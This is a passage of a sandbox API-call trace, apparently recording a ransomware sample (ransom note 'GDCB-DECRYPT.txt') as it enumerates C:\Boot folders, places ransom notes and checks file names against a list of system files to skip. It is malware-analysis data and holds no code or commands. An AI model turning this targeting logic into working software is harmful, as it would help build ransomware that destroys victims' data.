lstrcmpW (lpString1="lt-LT", lpString2=".") returned 1 [0169.436] lstrcmpW (lpString1="lt-LT", lpString2="..") returned 1 [0169.436] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="lt-LT" | out: lpString1="C:\\Boot\\lt-LT") returned="C:\\Boot\\lt-LT" [0169.436] lstrlenW (lpString="C:\\Boot\\lt-LT") returned 13 [0169.436] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.436] lstrcmpW (lpString1="lv-LV", lpString2=".") returned 1 [0169.436] lstrcmpW (lpString1="lv-LV", lpString2="..") returned 1 [0169.436] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="lv-LV" | out: lpString1="C:\\Boot\\lv-LV") returned="C:\\Boot\\lv-LV" [0169.436] lstrlenW (lpString="C:\\Boot\\lv-LV") returned 13 [0169.436] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.436] lstrcmpW (lpString1="memtest.exe", lpString2=".") returned 1 [0169.436] lstrcmpW (lpString1="memtest.exe", lpString2="..") returned 1 [0169.436] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="memtest.exe" | out: lpString1="C:\\Boot\\memtest.exe") returned="C:\\Boot\\memtest.exe" [0169.436] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0169.436] lstrcmpW (lpString1=".exe", lpString2=".sql") returned -1 [0169.436] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.436] lstrcmpW (lpString1="nb-NO", lpString2=".") returned 1 [0169.436] lstrcmpW (lpString1="nb-NO", lpString2="..") returned 1 [0169.436] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="nb-NO" | out: lpString1="C:\\Boot\\nb-NO") returned="C:\\Boot\\nb-NO" [0169.436] lstrlenW (lpString="C:\\Boot\\nb-NO") returned 13 [0169.436] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.436] lstrcmpW (lpString1="nl-NL", lpString2=".") returned 1 [0169.436] lstrcmpW (lpString1="nl-NL", lpString2="..") returned 1 [0169.436] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="nl-NL" | out: lpString1="C:\\Boot\\nl-NL") returned="C:\\Boot\\nl-NL" [0169.436] lstrlenW (lpString="C:\\Boot\\nl-NL") returned 13 [0169.436] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.436] lstrcmpW (lpString1="pl-PL", lpString2=".") returned 1 [0169.436] lstrcmpW (lpString1="pl-PL", lpString2="..") returned 1 [0169.436] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pl-PL" | out: lpString1="C:\\Boot\\pl-PL") returned="C:\\Boot\\pl-PL" [0169.436] lstrlenW (lpString="C:\\Boot\\pl-PL") returned 13 [0169.436] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.436] lstrcmpW (lpString1="pt-BR", lpString2=".") returned 1 [0169.436] lstrcmpW (lpString1="pt-BR", lpString2="..") returned 1 [0169.436] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pt-BR" | out: lpString1="C:\\Boot\\pt-BR") returned="C:\\Boot\\pt-BR" [0169.436] lstrlenW (lpString="C:\\Boot\\pt-BR") returned 13 [0169.436] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.436] lstrcmpW (lpString1="pt-PT", lpString2=".") returned 1 [0169.436] lstrcmpW (lpString1="pt-PT", lpString2="..") returned 1 [0169.436] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pt-PT" | out: lpString1="C:\\Boot\\pt-PT") returned="C:\\Boot\\pt-PT" [0169.436] lstrlenW (lpString="C:\\Boot\\pt-PT") returned 13 [0169.436] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.437] lstrcmpW (lpString1="qps-ploc", lpString2=".") returned 1 [0169.437] lstrcmpW (lpString1="qps-ploc", lpString2="..") returned 1 [0169.437] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="qps-ploc" | out: lpString1="C:\\Boot\\qps-ploc") returned="C:\\Boot\\qps-ploc" [0169.437] lstrlenW (lpString="C:\\Boot\\qps-ploc") returned 16 [0169.437] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.437] lstrcmpW (lpString1="Resources", lpString2=".") returned 1 [0169.437] lstrcmpW (lpString1="Resources", lpString2="..") returned 1 [0169.437] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="Resources" | out: lpString1="C:\\Boot\\Resources") returned="C:\\Boot\\Resources" [0169.437] lstrlenW (lpString="C:\\Boot\\Resources") returned 17 [0169.437] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.437] lstrcmpW (lpString1="ro-RO", lpString2=".") returned 1 [0169.437] lstrcmpW (lpString1="ro-RO", lpString2="..") returned 1 [0169.437] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ro-RO" | out: lpString1="C:\\Boot\\ro-RO") returned="C:\\Boot\\ro-RO" [0169.437] lstrlenW (lpString="C:\\Boot\\ro-RO") returned 13 [0169.437] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.437] lstrcmpW (lpString1="ru-RU", lpString2=".") returned 1 [0169.437] lstrcmpW (lpString1="ru-RU", lpString2="..") returned 1 [0169.437] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ru-RU" | out: lpString1="C:\\Boot\\ru-RU") returned="C:\\Boot\\ru-RU" [0169.437] lstrlenW (lpString="C:\\Boot\\ru-RU") returned 13 [0169.437] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.437] lstrcmpW (lpString1="sk-SK", lpString2=".") returned 1 [0169.437] lstrcmpW (lpString1="sk-SK", lpString2="..") returned 1 [0169.437] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sk-SK" | out: lpString1="C:\\Boot\\sk-SK") returned="C:\\Boot\\sk-SK" [0169.437] lstrlenW (lpString="C:\\Boot\\sk-SK") returned 13 [0169.437] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.437] lstrcmpW (lpString1="sl-SI", lpString2=".") returned 1 [0169.437] lstrcmpW (lpString1="sl-SI", lpString2="..") returned 1 [0169.437] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sl-SI" | out: lpString1="C:\\Boot\\sl-SI") returned="C:\\Boot\\sl-SI" [0169.437] lstrlenW (lpString="C:\\Boot\\sl-SI") returned 13 [0169.437] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.437] lstrcmpW (lpString1="sr-Latn-CS", lpString2=".") returned 1 [0169.437] lstrcmpW (lpString1="sr-Latn-CS", lpString2="..") returned 1 [0169.437] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sr-Latn-CS" | out: lpString1="C:\\Boot\\sr-Latn-CS") returned="C:\\Boot\\sr-Latn-CS" [0169.437] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS") returned 18 [0169.437] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.437] lstrcmpW (lpString1="sr-Latn-RS", lpString2=".") returned 1 [0169.437] lstrcmpW (lpString1="sr-Latn-RS", lpString2="..") returned 1 [0169.437] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sr-Latn-RS" | out: lpString1="C:\\Boot\\sr-Latn-RS") returned="C:\\Boot\\sr-Latn-RS" [0169.437] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS") returned 18 [0169.437] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.437] lstrcmpW (lpString1="sv-SE", lpString2=".") returned 1 [0169.437] lstrcmpW (lpString1="sv-SE", lpString2="..") returned 1 [0169.437] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sv-SE" | out: lpString1="C:\\Boot\\sv-SE") returned="C:\\Boot\\sv-SE" [0169.437] lstrlenW (lpString="C:\\Boot\\sv-SE") returned 13 [0169.437] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.437] lstrcmpW (lpString1="tr-TR", lpString2=".") returned 1 [0169.437] lstrcmpW (lpString1="tr-TR", lpString2="..") returned 1 [0169.437] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="tr-TR" | out: lpString1="C:\\Boot\\tr-TR") returned="C:\\Boot\\tr-TR" [0169.437] lstrlenW (lpString="C:\\Boot\\tr-TR") returned 13 [0169.437] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.437] lstrcmpW (lpString1="uk-UA", lpString2=".") returned 1 [0169.437] lstrcmpW (lpString1="uk-UA", lpString2="..") returned 1 [0169.437] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="uk-UA" | out: lpString1="C:\\Boot\\uk-UA") returned="C:\\Boot\\uk-UA" [0169.437] lstrlenW (lpString="C:\\Boot\\uk-UA") returned 13 [0169.437] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.437] lstrcmpW (lpString1="zh-CN", lpString2=".") returned 1 [0169.437] lstrcmpW (lpString1="zh-CN", lpString2="..") returned 1 [0169.438] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-CN" | out: lpString1="C:\\Boot\\zh-CN") returned="C:\\Boot\\zh-CN" [0169.438] lstrlenW (lpString="C:\\Boot\\zh-CN") returned 13 [0169.438] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.438] lstrcmpW (lpString1="zh-HK", lpString2=".") returned 1 [0169.438] lstrcmpW (lpString1="zh-HK", lpString2="..") returned 1 [0169.438] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-HK" | out: lpString1="C:\\Boot\\zh-HK") returned="C:\\Boot\\zh-HK" [0169.438] lstrlenW (lpString="C:\\Boot\\zh-HK") returned 13 [0169.438] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.438] lstrcmpW (lpString1="zh-TW", lpString2=".") returned 1 [0169.438] lstrcmpW (lpString1="zh-TW", lpString2="..") returned 1 [0169.438] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-TW" | out: lpString1="C:\\Boot\\zh-TW") returned="C:\\Boot\\zh-TW" [0169.438] lstrlenW (lpString="C:\\Boot\\zh-TW") returned 13 [0169.438] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0 [0169.438] FindClose (in: hFindFile=0x5a5018 | out: hFindFile=0x5a5018) returned 1 [0169.438] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.438] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\\\GDCB-DECRYPT.txt") returned 25 [0169.438] CreateFileW (lpFileName="C:\\Boot\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.438] GetLastError () returned 0x50 [0169.438] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.439] lstrlenW (lpString="C:\\Boot\\") returned 8 [0169.439] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="*" | out: lpString1="C:\\Boot\\*") returned="C:\\Boot\\*" [0169.439] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0x5a4b18 [0169.439] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.439] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.439] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.439] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.439] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.439] lstrcmpW (lpString1="BCD", lpString2=".") returned 1 [0169.439] lstrcmpW (lpString1="BCD", lpString2="..") returned 1 [0169.439] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD" | out: lpString1="C:\\Boot\\BCD") returned="C:\\Boot\\BCD" [0169.439] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.439] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\BCD") returned 11 [0169.439] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0169.439] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.439] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.439] lstrcmpW (lpString1="BCD.LOG", lpString2=".") returned 1 [0169.439] lstrcmpW (lpString1="BCD.LOG", lpString2="..") returned 1 [0169.439] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG" | out: lpString1="C:\\Boot\\BCD.LOG") returned="C:\\Boot\\BCD.LOG" [0169.439] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.439] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\BCD.LOG") returned 15 [0169.439] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0169.439] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.440] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.440] lstrcmpW (lpString1="BCD.LOG1", lpString2=".") returned 1 [0169.440] lstrcmpW (lpString1="BCD.LOG1", lpString2="..") returned 1 [0169.440] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG1" | out: lpString1="C:\\Boot\\BCD.LOG1") returned="C:\\Boot\\BCD.LOG1" [0169.440] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.440] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\BCD.LOG1") returned 16 [0169.440] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0169.440] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.440] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.440] lstrcmpW (lpString1="BCD.LOG2", lpString2=".") returned 1 [0169.440] lstrcmpW (lpString1="BCD.LOG2", lpString2="..") returned 1 [0169.440] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG2" | out: lpString1="C:\\Boot\\BCD.LOG2") returned="C:\\Boot\\BCD.LOG2" [0169.440] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.440] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\BCD.LOG2") returned 16 [0169.440] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0169.440] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.440] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.440] lstrcmpW (lpString1="bg-BG", lpString2=".") returned 1 [0169.440] lstrcmpW (lpString1="bg-BG", lpString2="..") returned 1 [0169.440] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="bg-BG" | out: lpString1="C:\\Boot\\bg-BG") returned="C:\\Boot\\bg-BG" [0169.440] lstrcatW (in: lpString1="C:\\Boot\\bg-BG", lpString2="\\" | out: lpString1="C:\\Boot\\bg-BG\\") returned="C:\\Boot\\bg-BG\\" [0169.440] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.441] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.441] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.441] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.441] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.441] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.441] lstrlenW (lpString="C:\\Boot\\bg-BG\\") returned 14 [0169.441] lstrcatW (in: lpString1="C:\\Boot\\bg-BG\\", lpString2="*" | out: lpString1="C:\\Boot\\bg-BG\\*") returned="C:\\Boot\\bg-BG\\*" [0169.441] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4b58 [0169.441] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.441] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.441] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.441] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.441] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.441] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.441] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.441] lstrcatW (in: lpString1="C:\\Boot\\bg-BG\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned="C:\\Boot\\bg-BG\\bootmgr.exe.mui" [0169.441] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0169.441] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.441] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.441] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.441] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.441] lstrcatW (in: lpString1="C:\\Boot\\bg-BG\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt") returned="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt" [0169.441] lstrlenW (lpString="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt") returned 30 [0169.441] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.441] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.441] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.441] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.442] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\bg-BG\\\\GDCB-DECRYPT.txt") returned 31 [0169.442] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\bg-bg\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.442] GetLastError () returned 0x50 [0169.442] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.442] lstrlenW (lpString="C:\\Boot\\bg-BG\\") returned 14 [0169.442] lstrcatW (in: lpString1="C:\\Boot\\bg-BG\\", lpString2="*" | out: lpString1="C:\\Boot\\bg-BG\\*") returned="C:\\Boot\\bg-BG\\*" [0169.442] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4ed8 [0169.442] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.442] FindNextFileW (in: hFindFile=0x5a4ed8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.442] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.442] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.442] FindNextFileW (in: hFindFile=0x5a4ed8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.442] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.442] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.442] lstrcatW (in: lpString1="C:\\Boot\\bg-BG\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned="C:\\Boot\\bg-BG\\bootmgr.exe.mui" [0169.442] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.442] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0169.443] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0169.443] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.443] FindNextFileW (in: hFindFile=0x5a4ed8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.443] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.443] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.443] lstrcatW (in: lpString1="C:\\Boot\\bg-BG\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt") returned="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt" [0169.443] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.443] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt") returned 30 [0169.443] lstrlenW (lpString="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt") returned 30 [0169.443] lstrlenW (lpString="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt") returned 30 [0169.443] lstrlenW (lpString="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt") returned 30 [0169.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.443] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.443] FindNextFileW (in: hFindFile=0x5a4ed8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.443] FindClose (in: hFindFile=0x5a4ed8 | out: hFindFile=0x5a4ed8) returned 1 [0169.443] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.443] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2=".") returned 1 [0169.443] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2="..") returned 1 [0169.443] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BOOTSTAT.DAT" | out: lpString1="C:\\Boot\\BOOTSTAT.DAT") returned="C:\\Boot\\BOOTSTAT.DAT" [0169.443] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.444] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0169.444] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0169.444] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.444] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.444] lstrcmpW (lpString1="bootvhd.dll", lpString2=".") returned 1 [0169.444] lstrcmpW (lpString1="bootvhd.dll", lpString2="..") returned 1 [0169.444] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="bootvhd.dll" | out: lpString1="C:\\Boot\\bootvhd.dll") returned="C:\\Boot\\bootvhd.dll" [0169.444] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.444] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\bootvhd.dll") returned 19 [0169.444] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0169.444] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.444] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.444] lstrcmpW (lpString1="cs-CZ", lpString2=".") returned 1 [0169.444] lstrcmpW (lpString1="cs-CZ", lpString2="..") returned 1 [0169.444] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="cs-CZ" | out: lpString1="C:\\Boot\\cs-CZ") returned="C:\\Boot\\cs-CZ" [0169.444] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ", lpString2="\\" | out: lpString1="C:\\Boot\\cs-CZ\\") returned="C:\\Boot\\cs-CZ\\" [0169.444] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.444] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.444] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.444] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.444] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.445] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.445] lstrlenW (lpString="C:\\Boot\\cs-CZ\\") returned 14 [0169.445] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="*" | out: lpString1="C:\\Boot\\cs-CZ\\*") returned="C:\\Boot\\cs-CZ\\*" [0169.445] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a5018 [0169.445] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.445] FindNextFileW (in: 